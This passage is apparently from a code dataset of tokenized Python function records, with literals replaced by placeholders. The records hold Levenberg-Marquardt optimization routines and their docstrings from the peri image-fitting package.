entire state;\n        useful for optimizing global parameters.\n\n    LMParticleGroupCollection : The workhorse of do_levmarq.\n\n    LMEngine : Engine superclass for all the optimizers.", "id": "f5773:m13"}
{"signature": "def do_levmarq_n_directions(s, directions, max_iter=<NUM_LIT:2>, run_length=<NUM_LIT:2>,<EOL>damping=<NUM_LIT>, collect_stats=False, marquardt_damping=True, **kwargs):", "body": "<EOL>normals = np.array([d/np.sqrt(np.dot(d,d)) for d in directions])<EOL>if np.isnan(normals).any():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>obj = OptState(s, normals)<EOL>lo = LMOptObj(obj, max_iter=max_iter, run_length=run_length, damping=<EOL>damping, marquardt_damping=marquardt_damping, **kwargs)<EOL>lo.do_run_1()<EOL>if collect_stats:<EOL><INDENT>return lo.get_termination_stats()<EOL><DEDENT>", "docstring": "Optimization of a state along a specific set of directions in parameter\nspace.\n\nParameters\n----------\n    s : :class:`peri.states.State`\n        The state to optimize\n    directions : np.ndarray\n        [n,d] element numpy.ndarray of the n directions in the d-\n        dimensional space to optimize along. `directions` is trans-\n        formed to a unit vector internally\nOther Parameters\n----------------\n    Any parameters passed to LMEngine.", "id": "f5773:m14"}
{"signature": "def burn(s, n_loop=<NUM_LIT:6>, collect_stats=False, desc='<STR_LIT>', rz_order=<NUM_LIT:0>, fractol=<NUM_LIT>,<EOL>errtol=<NUM_LIT>, mode='<STR_LIT>', max_mem=<NUM_LIT>, include_rad=True,<EOL>do_line_min='<STR_LIT:default>', partial_log=False, dowarn=True):", "body": "<EOL>mode = mode.lower()<EOL>if mode not in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if desc is '<STR_LIT>':<EOL><INDENT>desc = mode + '<STR_LIT>' if mode != '<STR_LIT>' else '<STR_LIT>'<EOL><DEDENT>eig_update = (mode != '<STR_LIT>')<EOL>glbl_run_length = <NUM_LIT:3> if mode == '<STR_LIT>' else <NUM_LIT:6><EOL>glbl_mx_itr = <NUM_LIT:2> if mode == '<STR_LIT>' else <NUM_LIT:1><EOL>use_accel = (mode == '<STR_LIT>')<EOL>rz_order = int(rz_order)<EOL>if do_line_min == '<STR_LIT:default>':<EOL><INDENT>do_line_min = False<EOL><DEDENT>if mode == '<STR_LIT>':<EOL><INDENT>glbl_nms = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>glbl_nms = [nm for nm in glbl_nms if nm in s.params]<EOL><DEDENT>else:<EOL><INDENT>if mode == '<STR_LIT>':<EOL><INDENT>remove_params = None<EOL><DEDENT>else:<EOL><INDENT>remove_params = s.get('<STR_LIT>').params<EOL>if ('<STR_LIT>' not in remove_params) and ('<STR_LIT>' in s.params):<EOL><INDENT>remove_params.append('<STR_LIT>')<EOL><DEDENT><DEDENT>glbl_nms = name_globals(s, remove_params=remove_params)<EOL><DEDENT>all_lp_stats = []<EOL>all_lm_stats = []<EOL>all_line_stats = []<EOL>all_loop_values = []<EOL>_delta_vals = []  <EOL>CLOG.info('<STR_LIT>' % (<NUM_LIT:0>, s.error))<EOL>for a in range(n_loop):<EOL><INDENT>start_err = s.error<EOL>start_params = np.copy(s.state[s.params])<EOL>BAD_DAMP = <NUM_LIT><EOL>BAD_LIST = [['<STR_LIT>', BAD_DAMP], ['<STR_LIT>', BAD_DAMP], ['<STR_LIT>',<EOL>BAD_DAMP], ['<STR_LIT>', BAD_DAMP]]<EOL>glbl_dmp = vectorize_damping(glbl_nms + ['<STR_LIT>']*rz_order, damping=<NUM_LIT:1.0>,<EOL>increase_list=[['<STR_LIT>', <NUM_LIT>]] + BAD_LIST)<EOL>if a != <NUM_LIT:0> or mode != '<STR_LIT>':<EOL><INDENT>if partial_log:<EOL><INDENT>log.set_level('<STR_LIT>')<EOL><DEDENT>gstats = do_levmarq(s, glbl_nms, max_iter=glbl_mx_itr, run_length=<EOL>glbl_run_length, eig_update=eig_update, num_eig_dirs=<NUM_LIT:10>,<EOL>eig_update_frequency=<NUM_LIT:3>, rz_order=rz_order, damping=<EOL>glbl_dmp, decrease_damp_factor=<NUM_LIT>, use_accel=use_accel,<EOL>collect_stats=collect_stats, fractol=<NUM_LIT:0.1>*fractol,<EOL>max_mem=max_mem)<EOL>if partial_log:<EOL><INDENT>log.set_level('<STR_LIT:info>')<EOL><DEDENT>all_lm_stats.append(gstats)<EOL><DEDENT>if desc is not None:<EOL><INDENT>states.save(s, desc=desc)<EOL><DEDENT>CLOG.info('<STR_LIT>'.format(a, s.error))<EOL>all_loop_values.append(s.values)<EOL>prtl_dmp = <NUM_LIT:1.0> if a==<NUM_LIT:0> else <NUM_LIT><EOL>pstats = do_levmarq_all_particle_groups(s, region_size=<NUM_LIT>, max_iter=<NUM_LIT:1>,<EOL>do_calc_size=True, run_length=<NUM_LIT:4>, eig_update=False,<EOL>damping=prtl_dmp, fractol=<NUM_LIT:0.1>*fractol, collect_stats=<EOL>collect_stats, max_mem=max_mem, include_rad=include_rad)<EOL>all_lp_stats.append(pstats)<EOL>if desc is not None:<EOL><INDENT>states.save(s, desc=desc)<EOL><DEDENT>CLOG.info('<STR_LIT>'.format(a, s.error))<EOL>gc.collect()<EOL>all_loop_values.append(s.values)<EOL>end_params = np.copy(s.state[s.params])<EOL>_delta_vals.append(start_params - end_params)<EOL>if do_line_min:<EOL><INDENT>all_line_stats.append(do_levmarq_n_directions(s, _delta_vals[-<NUM_LIT:3>:],<EOL>collect_stats=collect_stats))<EOL>if desc is not None:<EOL><INDENT>states.save(s, desc=desc)<EOL><DEDENT>CLOG.info('<STR_LIT>'.format(a, s.error))<EOL>all_loop_values.append(s.values)<EOL><DEDENT>new_err = s.error<EOL>derr = start_err - new_err<EOL>dobreak = (derr/new_err < fractol) or (derr < errtol)<EOL>if dobreak:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if dowarn and (not dobreak):<EOL><INDENT>CLOG.warn('<STR_LIT>')<EOL><DEDENT>d = {'<STR_LIT>':dobreak, '<STR_LIT>':all_loop_values}<EOL>if collect_stats:<EOL><INDENT>d.update({'<STR_LIT>':all_lm_stats, '<STR_LIT>':all_lp_stats,<EOL>'<STR_LIT>':all_line_stats})<EOL><DEDENT>return d<EOL>", "docstring": "Optimizes all the parameters of a state.\n\nBurns a state through calling LMParticleGroupCollection and LMGlobals/\nLMAugmentedState.\n\nParameters\n----------\n    s : :class:`peri.states.ImageState`\n        The state to optimize\n    n_loop : Int, optional\n        The number of times to loop over in the optimizer. Default is 6.\n    collect_stats : Bool, optional\n        Whether or not to collect information on the optimizer's\n        performance. Default is False.\n    desc : string, optional\n        Description to append to the states.save() call every loop.\n        Set to None to avoid saving. Default is '', which selects\n        one of 'burning', 'polishing', 'doing_positions'\n    rz_order: Int, optional\n        Set to an int > 0 to optimize with an augmented state (R(z) as\n        a global parameter) vs. with the normal global parameters;\n        rz_order is the order of the polynomial approximate for R(z).\n        Default is 0 (no augmented state).\n    fractol : Float, optional\n        Fractional change in error at which to terminate. Default 1e-4\n    errtol : Float, optional\n        Absolute change in error at which to terminate. Default 1e-2\n    mode : {'burn', 'do-particles', or 'polish'}, optional\n        What mode to optimize with.\n        * 'burn'          : Your state is far from the minimum.\n        * 'do-particles'  : Positions far from minimum, globals well-fit.\n        * 'polish'        : The state is close to the minimum.\n        'burn' is the default. Only `polish` will get to the global\n        minimum.\n    max_mem : Numeric, optional\n        The maximum amount of memory allowed for the optimizers' J's,\n        for both particles & globals. Default is 1e9, i.e. 1GB per\n        optimizer.\n    do_line_min : Bool or 'default', optional\n        Set to True to do an additional, third optimization per loop\n        which optimizes along the subspace spanned by the last 3 steps\n        of the burn()'s trajectory. In principle this should signifi-\n        cantly speed up the convergence; in practice it sometimes does,\n        sometimes doesn't. Default is 'default', which picks by mode:\n        * 'burn'          : False\n        * 'do-particles'  : False\n        * 'polish'        : True\n    dowarn : Bool, optional\n        Whether to log a warning if termination results from finishing\n        loops rather than from convergence. Default is True.\n\nReturns\n-------\n    dictionary\n        Dictionary of convergence information. Contains whether the\n        optimization has converged (key ``'converged'``), the values of the\n        state after each loop (key ``'all_loop_values'``).\n        The values of the state's parameters after each part of the\n        loop: globals, particles, linemin. If ``collect_stats`` is set,\n        then also contains lists of termination dicts from globals,\n        particles, and line minimization (keys ``'global_stats'``,\n        ``'particle_stats'``, and ``'line_stats``').\n\nNotes\n-----\nProceeds by alternating between one Levenberg-Marquardt step\noptimizing the globals, one optimizing the particles, and repeating\nuntil termination.\n\nIn addition, if `do_line_min` is True, at the end of each loop\nstep an additional optimization is tried along the subspaced spanned\nby the steps taken during the last 3 loops. Ideally, this changes the\nconvergence from linear to quadratic, but it doesn't always do much.\n\nEach of the 3 options proceed by optimizing as follows:\n* burn            : lm.do_run_2(), lp.do_run_2(). No psf, 2 loops on lm.\n* do-particles    : lp.do_run_2(), scales for ilm, bkg's\n* polish          : lm.do_run_2(), lp.do_run_2(). Everything, 1 loop each.\nwhere lm is a globals LMGlobals instance, and lp a\nLMParticleGroupCollection instance.", "id": "f5773:m15"}
{"signature": "def finish(s, desc='<STR_LIT>', n_loop=<NUM_LIT:4>, max_mem=<NUM_LIT>, separate_psf=True,<EOL>fractol=<NUM_LIT>, errtol=<NUM_LIT>, dowarn=True):", "body": "values = [np.copy(s.state[s.params])]<EOL>remove_params = s.get('<STR_LIT>').params if separate_psf else None<EOL>global_params = name_globals(s, remove_params=remove_params)<EOL>gs = np.floor(max_mem / s.residuals.nbytes).astype('<STR_LIT:int>')<EOL>groups = [global_params[a:a+gs] for a in range(<NUM_LIT:0>, len(global_params), gs)]<EOL>CLOG.info('<STR_LIT>'.format(s.error))<EOL>for a in range(n_loop):<EOL><INDENT>start_err = s.error<EOL>for g in groups:<EOL><INDENT>do_levmarq(s, g, damping=<NUM_LIT:0.1>, decrease_damp_factor=<NUM_LIT>,<EOL>max_iter=<NUM_LIT:1>, max_mem=max_mem, eig_update=False)<EOL><DEDENT>if separate_psf:<EOL><INDENT>do_levmarq(s, remove_params, max_mem=max_mem, max_iter=<NUM_LIT:4>,<EOL>eig_update=False)<EOL><DEDENT>CLOG.info('<STR_LIT>'.format(a, s.error))<EOL>if desc is not None:<EOL><INDENT>states.save(s, desc=desc)<EOL><DEDENT>do_levmarq_all_particle_groups(s, max_iter=<NUM_LIT:1>, max_mem=max_mem)<EOL>CLOG.info('<STR_LIT>'.format(a, s.error))<EOL>if desc is not None:<EOL><INDENT>states.save(s, desc=desc)<EOL><DEDENT>values.append(np.copy(s.state[s.params]))<EOL>new_err = s.error<EOL>derr = start_err - new_err<EOL>dobreak = (derr/new_err < fractol) or (derr < errtol)<EOL>if dobreak:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if dowarn and (not dobreak):<EOL><INDENT>CLOG.warn('<STR_LIT>')<EOL><DEDENT>return {'<STR_LIT>':dobreak, '<STR_LIT>':np.array(values)}<EOL>", "docstring": "Crawls slowly to the minimum-cost state.\n\nBlocks the global parameters into small enough sections such that each\ncan be optimized separately while including all the pixels (i.e. no\ndecimation). Optimizes the globals, then the psf separately if desired,\nthen particles, then a line minimization along the step direction to\nspeed up convergence.\n\nParameters\n----------\n    s : :class:`peri.states.ImageState`\n        The state to optimize\n    desc : string, optional\n        Description to append to the states.save() call every loop.\n        Set to `None` to avoid saving. Default is `'finish'`.\n    n_loop : Int, optional\n        The number of times to loop over in the optimizer. Default is 4.\n    max_mem : Numeric, optional\n        The maximum amount of memory allowed for the optimizers' J's,\n        for both particles & globals. Default is 1e9.\n    separate_psf : Bool, optional\n        If True, does the psf optimization separately from the rest of\n        the globals, since the psf has a more tortuous fit landscape.\n        Default is True.\n    fractol : Float, optional\n        Fractional change in error at which to terminate. Default 1e-4\n    errtol : Float, optional\n        Absolute change in error at which to terminate. Default 1e-2\n    dowarn : Bool, optional\n        Whether to log a warning if termination results from finishing\n        loops rather than from convergence. Default is True.\n\nReturns\n-------\n    dictionary\n        Information about the optimization. Has two keys: ``'converged'``,\n        a Bool which of whether optimization stopped due to convergence\n        (True) or due to max number of iterations (False), and\n        ``'loop_values'``, a [n_loop+1, N] ``numpy.ndarray`` of the\n        state's values, at the start of optimization and at the end of\n        each loop, before the line minimization.", "id": "f5773:m16"}
{"signature": "def fit_comp(new_comp, old_comp, **kwargs):", "body": "<EOL>new_cat = new_comp.category<EOL>new_comp.category = '<STR_LIT>'<EOL>fake_s = states.ImageState(Image(old_comp.get().copy()), [new_comp], pad=<NUM_LIT:0>,<EOL>mdl=mdl.SmoothFieldModel())<EOL>do_levmarq(fake_s, new_comp.params, **kwargs)<EOL>new_comp.category = new_cat<EOL>", "docstring": "Fits a new component to an old component\n\nCalls do_levmarq to match the .get() fields of the two objects. The\nparameters of new_comp are modified in place.\n\nParameters\n----------\nnew_comp : :class:`peri.comps.comp`\n    The new object, whose parameters to update to fit the field of\n    `old_comp`. Must have a .get() attribute which returns an ndarray\nold_comp : peri.comp\n    The old ilm to match to.\n\nOther Parameters\n----------------\n    Any keyword arguments to be passed to the optimizer LMGlobals\n    through do_levmarq.\n\nSee Also\n--------\ndo_levmarq : Levenberg-Marquardt minimization using a random subset\n    of the image pixels.", "id": "f5773:m17"}
{"signature": "def reset(self, new_damping=None):", "body": "self._num_iter = <NUM_LIT:0><EOL>self._inner_run_counter = <NUM_LIT:0><EOL>self._J_update_counter = self.update_J_frequency<EOL>self._fresh_JTJ = False<EOL>self._has_run = False<EOL>if new_damping is not None:<EOL><INDENT>self.damping = np.array(new_damping).astype('<STR_LIT:float>')<EOL><DEDENT>self._set_err_paramvals()<EOL>", "docstring": "Keeps all user supplied options the same, but resets counters etc.", "id": "f5773:c0:m1"}
{"signature": "def _set_err_paramvals(self):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Must update:\n    self.error, self._last_error, self.param_vals, self._last_vals", "id": "f5773:c0:m2"}
{"signature": "def calc_J(self):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Updates self.J, returns nothing", "id": "f5773:c0:m3"}
{"signature": "def calc_residuals(self):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "returns residuals = data - model.", "id": "f5773:c0:m4"}
{"signature": "def update_function(self, param_vals):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Takes an array param_vals, updates function, returns the new error", "id": "f5773:c0:m5"}
{"signature": "def do_run_1(self):", "body": "while not self.check_terminate():<EOL><INDENT>self._has_run = True<EOL>self._run1()<EOL>self._num_iter += <NUM_LIT:1>; self._inner_run_counter += <NUM_LIT:1><EOL><DEDENT>", "docstring": "LM run, evaluating 1 step at a time.\n\nBroyden or eigendirection updates replace full-J updates until\na full-J update occurs. Does not run with the calculated J (no\ninternal run).", "id": "f5773:c0:m6"}
{"signature": "def _run1(self):", "body": "if self.check_update_J():<EOL><INDENT>self.update_J()<EOL><DEDENT>else:<EOL><INDENT>if self.check_Broyden_J():<EOL><INDENT>self.update_Broyden_J()<EOL><DEDENT>if self.check_update_eig_J():<EOL><INDENT>self.update_eig_J()<EOL><DEDENT><DEDENT>delta_vals = self.find_LM_updates(self.calc_grad())<EOL>er1 = self.update_function(self.param_vals + delta_vals)<EOL>good_step = (find_best_step([self.error, er1]) == <NUM_LIT:1>)<EOL>if not good_step:<EOL><INDENT>er0 = self.update_function(self.param_vals)<EOL>if np.abs(er0 -self.error)/er0 > <NUM_LIT>:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>CLOG.debug('<STR_LIT>')<EOL>CLOG.debug('<STR_LIT>' % (self.error, er1))<EOL>grad = self.calc_grad()<EOL>for _try in range(self._max_inner_loop):<EOL><INDENT>self.increase_damping()<EOL>delta_vals = self.find_LM_updates(grad)<EOL>er1 = self.update_function(self.param_vals + delta_vals)<EOL>good_step = (find_best_step([self.error, er1]) == <NUM_LIT:1>)<EOL>if good_step:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>er0 = self.update_function(self.param_vals)<EOL>CLOG.warn('<STR_LIT>')<EOL>if np.abs(er0 -self.error)/er0 > <NUM_LIT>:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>if good_step:<EOL><INDENT>self._last_error = self.error<EOL>self.error = er1<EOL>CLOG.debug('<STR_LIT>' % (self._last_error, self.error))<EOL>self.update_param_vals(delta_vals, incremental=True)<EOL>self.decrease_damping()<EOL><DEDENT>", "docstring": "workhorse for do_run_1", "id": "f5773:c0:m7"}
{"signature": "def do_run_2(self):", "body": "while not self.check_terminate():<EOL><INDENT>self._has_run = True<EOL>self._run2()<EOL>self._num_iter += <NUM_LIT:1><EOL><DEDENT>", "docstring": "LM run evaluating 2 steps (damped and not) and choosing the best.\n\nAfter finding the best of 2 steps, runs with that damping + Broyden\nor eigendirection updates, until deciding to do a full-J update.\nOnly changes damping after full-J updates.", "id": "f5773:c0:m8"}
{"signature": "def _run2(self):", "body": "if self.check_update_J():<EOL><INDENT>self.update_J()<EOL><DEDENT>else:<EOL><INDENT>if self.check_Broyden_J():<EOL><INDENT>self.update_Broyden_J()<EOL><DEDENT>if self.check_update_eig_J():<EOL><INDENT>self.update_eig_J()<EOL><DEDENT><DEDENT>_last_residuals = self.calc_residuals().copy()<EOL>_last_error = <NUM_LIT:1>*self.error<EOL>_last_vals = self.param_vals.copy()<EOL>delta_params_1 = self.find_LM_updates(self.calc_grad(),<EOL>do_correct_damping=False)<EOL>self.decrease_damping()<EOL>delta_params_2 = self.find_LM_updates(self.calc_grad(),<EOL>do_correct_damping=False)<EOL>self.decrease_damping(undo_decrease=True)<EOL>er1 = self.update_function(self.param_vals + delta_params_1)<EOL>er2 = self.update_function(self.param_vals + delta_params_2)<EOL>triplet = (self.error, er1, er2)<EOL>best_step = find_best_step(triplet)<EOL>if best_step == <NUM_LIT:0>:<EOL><INDENT>_ = self.update_function(self.param_vals.copy())<EOL>grad = self.calc_grad()<EOL>CLOG.debug('<STR_LIT>')<EOL>CLOG.debug('<STR_LIT>' % triplet)<EOL>for _try in range(self._max_inner_loop):<EOL><INDENT>self.increase_damping()<EOL>delta_vals = self.find_LM_updates(grad)<EOL>er_new = self.update_function(self.param_vals + delta_vals)<EOL>good_step = er_new < self.error<EOL>if good_step:<EOL><INDENT>self.update_param_vals(delta_vals, incremental=True)<EOL>self.error = er_new<EOL>CLOG.debug('<STR_LIT>')<EOL>CLOG.debug('<STR_LIT>' % (triplet[<NUM_LIT:0>], self.error))<EOL>break<EOL><DEDENT><DEDENT>else: <EOL><INDENT>CLOG.warn('<STR_LIT>')<EOL>self.error = self.update_function(self.param_vals.copy())<EOL><DEDENT><DEDENT>elif best_step == <NUM_LIT:1>:<EOL><INDENT>good_step = True<EOL>CLOG.debug('<STR_LIT>')<EOL>CLOG.debug('<STR_LIT>' % triplet)<EOL>er1_1 = self.update_function(self.param_vals + delta_params_1)<EOL>if np.abs(er1_1 - er1) > <NUM_LIT>:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>self.update_param_vals(delta_params_1, incremental=True)<EOL>self.error = er1<EOL><DEDENT>elif best_step == <NUM_LIT:2>:<EOL><INDENT>good_step = True<EOL>self.error = er2<EOL>CLOG.debug('<STR_LIT>')<EOL>CLOG.debug('<STR_LIT>' % triplet)<EOL>self.update_param_vals(delta_params_2, incremental=True)<EOL>self.decrease_damping()<EOL><DEDENT>if good_step:<EOL><INDENT>self._last_residuals = _last_residuals<EOL>self._last_error = _last_error<EOL>self._last_vals = _last_vals<EOL>self.error<EOL>self.do_internal_run(initial_count=<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Workhorse for do_run_2", "id": "f5773:c0:m9"}
{"signature": "def do_internal_run(self, initial_count=<NUM_LIT:0>, subblock=None, update_derr=True):", "body": "self._inner_run_counter = initial_count; good_step = True<EOL>n_good_steps = <NUM_LIT:0><EOL>CLOG.debug('<STR_LIT>')<EOL>_last_residuals = self.calc_residuals().copy()<EOL>while ((self._inner_run_counter < self.run_length) & good_step &<EOL>(not self.check_terminate())):<EOL><INDENT>if self.check_Broyden_J() and self._inner_run_counter != <NUM_LIT:0>:<EOL><INDENT>self.update_Broyden_J()<EOL><DEDENT>if self.check_update_eig_J() and self._inner_run_counter != <NUM_LIT:0>:<EOL><INDENT>self.update_eig_J()<EOL><DEDENT>er0 = <NUM_LIT:1>*self.error<EOL>delta_vals = self.find_LM_updates(self.calc_grad(),<EOL>do_correct_damping=False, subblock=subblock)<EOL>er1 = self.update_function(self.param_vals + delta_vals)<EOL>good_step = er1 < er0<EOL>if good_step:<EOL><INDENT>n_good_steps += <NUM_LIT:1><EOL>CLOG.debug('<STR_LIT>' % (er0, er1))<EOL>self.update_param_vals(delta_vals, incremental=True)<EOL>self._last_residuals = _last_residuals.copy()<EOL>if update_derr:<EOL><INDENT>self._last_error = er0<EOL><DEDENT>self.error = er1<EOL>_last_residuals = self.calc_residuals().copy()<EOL><DEDENT>else:<EOL><INDENT>er0_0 = self.update_function(self.param_vals)<EOL>CLOG.debug('<STR_LIT>')<EOL>if np.abs(er0 - er0_0) > <NUM_LIT>:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT><DEDENT>self._inner_run_counter += <NUM_LIT:1><EOL><DEDENT>return n_good_steps<EOL>", "docstring": "Takes more steps without calculating J again.\n\nGiven a fixed damping, J, JTJ, iterates calculating steps, with\noptional Broyden or eigendirection updates. Iterates either until\na bad step is taken or for self.run_length times.\nCalled internally by do_run_2() but is also useful on its own.\n\nParameters\n----------\n    initial_count : Int, optional\n        The initial count of the run. Default is 0. Increasing from\n        0 effectively temporarily decreases run_length.\n    subblock : None or np.ndarray of bools, optional\n        If not None, a boolean mask which determines which sub-\n        block of parameters to run over. Default is None, i.e.\n        all the parameters.\n    update_derr : Bool, optional\n        Set to False to not update the variable that determines\n        delta_err, preventing premature termination through errtol.\n\nNotes\n-----\nIt might be good to do something similar to update_derr with the\nparameter values, but this is trickier because of Broyden updates\nand _fresh_J.", "id": "f5773:c0:m10"}
{"signature": "def find_LM_updates(self, grad, do_correct_damping=True, subblock=None):", "body": "if subblock is not None:<EOL><INDENT>if (subblock.sum() == <NUM_LIT:0>) or (subblock.size == <NUM_LIT:0>):<EOL><INDENT>CLOG.fatal('<STR_LIT>')<EOL>raise ValueError('<STR_LIT>')<EOL><DEDENT>j = self.J[subblock]<EOL>JTJ = np.dot(j, j.T)<EOL>damped_JTJ = self._calc_damped_jtj(JTJ, subblock=subblock)<EOL>grad = grad[subblock]  <EOL><DEDENT>else:<EOL><INDENT>damped_JTJ = self._calc_damped_jtj(self.JTJ, subblock=subblock)<EOL><DEDENT>delta = self._calc_lm_step(damped_JTJ, grad, subblock=subblock)<EOL>if self.use_accel:<EOL><INDENT>accel_correction = self.calc_accel_correction(damped_JTJ, delta)<EOL>nrm_d0 = np.sqrt(np.sum(delta**<NUM_LIT:2>))<EOL>nrm_corr = np.sqrt(np.sum(accel_correction**<NUM_LIT:2>))<EOL>CLOG.debug('<STR_LIT>' % (nrm_corr/nrm_d0))<EOL>if nrm_corr/nrm_d0 < self.max_accel_correction:<EOL><INDENT>delta += accel_correction<EOL><DEDENT>elif do_correct_damping:<EOL><INDENT>CLOG.debug('<STR_LIT>')<EOL>self.increase_damping()<EOL>damped_JTJ = self._calc_damped_jtj(self.JTJ, subblock=subblock)<EOL>delta = self._calc_lm_step(damped_JTJ, grad, subblock=subblock)<EOL><DEDENT><DEDENT>if np.any(np.isnan(delta)):<EOL><INDENT>CLOG.fatal('<STR_LIT>')<EOL>raise FloatingPointError('<STR_LIT>')<EOL><DEDENT>return delta<EOL>", "docstring": "Calculates LM updates, with or without the acceleration correction.\n\nParameters\n----------\n    grad : numpy.ndarray\n        The gradient of the model cost.\n    do_correct_damping : Bool, optional\n        If `self.use_accel`, then set to True to correct damping\n        if the acceleration correction is too big. Default is True\n        Does nothing is `self.use_accel` is False\n    subblock : slice, numpy.ndarray, or None, optional\n        Set to a slice or a valide numpy.ndarray to use only a\n        certain subset of the parameters. Default is None, i.e.\n        use all the parameters.\n\nReturns\n-------\n    delta : numpy.ndarray\n        The Levenberg-Marquadt step, relative to the old\n        parameters. Size is always self.param_vals.size.", "id": "f5773:c0:m12"}
{"signature": "def _calc_lm_step(self, damped_JTJ, grad, subblock=None):", "body": "delta0, res, rank, s = np.linalg.lstsq(damped_JTJ, -<NUM_LIT:0.5>*grad,<EOL>rcond=self.min_eigval)<EOL>if self._fresh_JTJ:<EOL><INDENT>CLOG.debug('<STR_LIT>' % (<EOL>delta0.size-rank, delta0.size))<EOL><DEDENT>if subblock is not None:<EOL><INDENT>delta = np.zeros(self.J.shape[<NUM_LIT:0>])<EOL>delta[subblock] = delta0<EOL><DEDENT>else:<EOL><INDENT>delta = delta0.copy()<EOL><DEDENT>return delta<EOL>", "docstring": "Calculates a Levenberg-Marquard step w/o acceleration", "id": "f5773:c0:m13"}
{"signature": "def update_param_vals(self, new_vals, incremental=False):", "body": "self._last_vals = self.param_vals.copy()<EOL>if incremental:<EOL><INDENT>self.param_vals += new_vals<EOL><DEDENT>else:<EOL><INDENT>self.param_vals = new_vals.copy()<EOL><DEDENT>self._fresh_JTJ = False<EOL>", "docstring": "Updates the current set of parameter values and previous values,\nsets a flag to re-calculate J.\n\nParameters\n----------\n    new_vals : numpy.ndarray\n        The new values to update to\n    incremental : Bool, optional\n        Set to True to make it an incremental update relative\n        to the old parameters. Default is False", "id": "f5773:c0:m16"}
{"signature": "def find_expected_error(self, delta_params='<STR_LIT>'):", "body": "grad = self.calc_grad()<EOL>if list(delta_params) in [list('<STR_LIT>'), list('<STR_LIT>')]:<EOL><INDENT>jtj = (self.JTJ if delta_params == '<STR_LIT>' else<EOL>self._calc_damped_jtj(self.JTJ))<EOL>delta_params = self._calc_lm_step(jtj, self.calc_grad())<EOL><DEDENT>expected_error = (self.error + np.dot(grad, delta_params) +<EOL>np.dot(np.dot(self.JTJ, delta_params), delta_params))<EOL>return expected_error<EOL>", "docstring": "Returns the error expected after an update if the model were linear.\n\nParameters\n----------\n    delta_params : {numpy.ndarray, 'calc', or 'perfect'}, optional\n        The relative change in parameters. If 'calc', uses update\n        calculated from the current damping, J, etc; if 'perfect',\n        uses the update calculated with zero damping.\n\nReturns\n-------\n    numpy.float64\n        The expected error after the update with `delta_params`", "id": "f5773:c0:m17"}
{"signature": "def calc_model_cosine(self, decimate=None, mode='<STR_LIT>'):", "body": "if mode == '<STR_LIT>':<EOL><INDENT>slicer = slice(<NUM_LIT:0>, None, decimate)<EOL>u, sig, v = np.linalg.svd(self.J[:,slicer], full_matrices=False) <EOL>r = self.calc_residuals()[slicer]<EOL>abs_r = np.sqrt((r*r).sum())<EOL>v_r = np.dot(v,r/abs_r)<EOL>projected = np.dot(v.T, v_r)<EOL>abs_cos = np.sqrt((projected*projected).sum())<EOL><DEDENT>elif mode == '<STR_LIT>':<EOL><INDENT>expected_error = self.find_expected_error(delta_params='<STR_LIT>')<EOL>model_sine_2 = expected_error / self.error  <EOL>abs_cos = np.sqrt(<NUM_LIT:1> - model_sine_2)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return abs_cos<EOL>", "docstring": "Calculates the cosine of the residuals with the model.\n\nParameters\n----------\n    decimate : Int or None, optional\n        Decimate the residuals by `decimate` pixels. If None, no\n        decimation is used. Valid only with mode='svd'. Default\n        is None\n    mode : {'svd', 'err'}\n        Which mode to use; see Notes section. Default is 'err'.\n\nReturns\n-------\n    abs_cos : numpy.float64\n        The absolute value of the model cosine.\n\nNotes\n-----\nThe model cosine is defined in terms of the geometric view of\ncurve-fitting, as a model manifold embedded in a high-dimensional\nspace. The model cosine is the cosine of the residuals vector\nwith its projection on the tangent space: :math:`cos(phi) = |P^T r|/|r|`\nwhere :math:`P^T` is the projection operator onto the model manifold\nand :math:`r` the residuals. This can be calculated two ways: By\ncalculating the projection operator P directly with SVD (mode=`svd`),\nor by using the expected error if the model were linear to calculate\na model sine first (mode=`err`). Since the SVD of a large matrix is\nslow, mode=`err` is faster.\n\n`decimate` allows for every nth pixel only to be counted in the\nSVD matrix of J for speed. While this is n x faster, it is\nconsiderably less accurate, so the default is no decimation.", "id": "f5773:c0:m18"}
{"signature": "def get_termination_stats(self, get_cos=True):", "body": "delta_vals = self._last_vals - self.param_vals<EOL>delta_err = self._last_error - self.error<EOL>frac_err = delta_err / self.error<EOL>to_return = {'<STR_LIT>':delta_vals, '<STR_LIT>':delta_err,<EOL>'<STR_LIT>':<NUM_LIT:1>*self._num_iter, '<STR_LIT>':frac_err,<EOL>'<STR_LIT:error>':self.error, '<STR_LIT>':self._exp_err}<EOL>if get_cos:<EOL><INDENT>model_cosine = self.calc_model_cosine()<EOL>to_return.update({'<STR_LIT>':model_cosine})<EOL><DEDENT>return to_return<EOL>", "docstring": "Returns a dict of termination statistics\n\nParameters\n----------\n    get_cos : Bool, optional\n        Whether or not to calcualte the cosine of the residuals\n        with the tangent plane of the model using the current J.\n        The calculation may take some time. Default is True\n\nReturns\n-------\n    dict\n        Has keys\n            delta_vals  : The last change in parameter values.\n            delta_err   : The last change in the error.\n            exp_err     : The expected (last) change in the error.\n            frac_err    : The fractional change in the error.\n            num_iter    : The number of iterations completed.\n            error       : The current error.", "id": "f5773:c0:m19"}
